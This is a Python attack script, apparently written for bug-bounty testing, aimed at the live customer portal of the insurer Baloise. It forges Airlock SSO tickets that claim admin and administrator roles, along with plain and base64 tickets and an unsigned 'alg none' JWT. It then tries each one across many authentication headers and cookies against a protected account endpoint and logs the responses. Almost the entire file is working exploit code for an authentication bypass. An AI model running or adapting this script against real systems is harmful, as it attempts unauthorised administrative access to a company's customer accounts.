#!/usr/bin/env -S uv run --script
# /// script
# requires-python = ">=3.11"
# dependencies = ["curl-cffi>=0.15.0"]
# ///
from curl_cffi import requests
from urllib.parse import quote
from pathlib import Path
import base64,gzip,time,json,subprocess,secrets
H='mein-portal.baloise.de'; BASE='https://'+H+'/auth'; IDENT={'X-Bug-Bounty':'dwbzn'}
user='bugbounty-dwbzn-requestauth-'+secrets.token_hex(3)
forge=['python3','work/scratch/saved/airlock_esp-ticket-forge.py','--username',user,'--validity-seconds','3600','--role','authenticated','--role','admin','--role','administrator','--extra','userId='+user,'--extra','uid='+user,'--extra','sub='+user,'--extra','Identifier='+user]
esp=subprocess.check_output(forge,text=True).strip()
plain='username='+user+';roles=authenticated,admin,administrator;userId='+user+';uid='+user+';sub='+user+';Identifier='+user+';'
exp=int((time.time()+3600)*1000).to_bytes(8,'big')
b64=base64.b64encode(plain.encode()+exp).decode()
def b64u(x): return base64.urlsafe_b64encode(x).rstrip(b'=').decode()
claims={'iss':'Airlock IAM','sub':user,'username':user,'userId':user,'roles':['authenticated','admin','administrator'],'exp':int(time.time()+3600)}
jwt_none=b64u(json.dumps({'alg':'none','typ':'JWT'},separators=(',',':')).encode())+'.'+b64u(json.dumps(claims,separators=(',',':')).encode())+'.'
formats={'bad':'not-a-valid-ticket','esp':esp,'plain':plain,'plainb64':b64,'jwt-none':jwt_none}
placements=[]
for hn in ['X-IAM-SSO-Ticket','X-Login-Token','X-LOGIN-TOKEN','X-SSO-Ticket','X-SSO-Token','X-ESP-Ticket','X-Auth-Token','X-Authentication-Token','Authorization']:
 for fn,val in formats.items():
  if hn=='Authorization':
   placements.append((hn+' bearer',fn,{'Authorization':'Bearer '+val},{}))
  else: placements.append((hn,fn,{hn:val},{}))
for cn in ['LOGIN-TOKEN','SSO-TICKET','SSO-TOKEN','IAM-SSO-Ticket','X-IAM-SSO-Ticket','ESP-TICKET','AL_SSO','AL_SSO_TICKET']:
 for fn,val in formats.items(): placements.append(('cookie '+cn,fn,{}, {cn:val}))

def session():
 s=requests.Session(impersonate='chrome')
 s.get(BASE+'/ui/app',headers=IDENT,timeout=30)
 return s
for place,fmt,extra,cookies in [('control','none',{}, {})]+placements:
 s=session(); csrf=s.cookies.get('CSRFT759-S') or ''
 for k,v in cookies.items(): s.cookies.set(k,v,domain='.baloise.de',path='/')
 h={**IDENT,'X-Same-Domain':'1','X-CSRFT759':csrf,'Accept':'application/json,application/vnd.api+json',**extra}
 try:
  r=s.get(BASE+'/rest/protected/my/self',headers=h,allow_redirects=False,timeout=30)
  print(json.dumps({'place':place,'format':fmt,'status':r.status_code,'len':len(r.content),'ms':round(r.elapsed.total_seconds()*1000) if r.elapsed else None,'exchange':getattr(r,'toadex_exchange_id',None),'www':r.headers.get('WWW-Authenticate'),'loc':r.headers.get('Location'),'body':r.text[:240]},ensure_ascii=False),flush=True)
 except Exception as e: print(json.dumps({'place':place,'format':fmt,'error':repr(e)}),flush=True)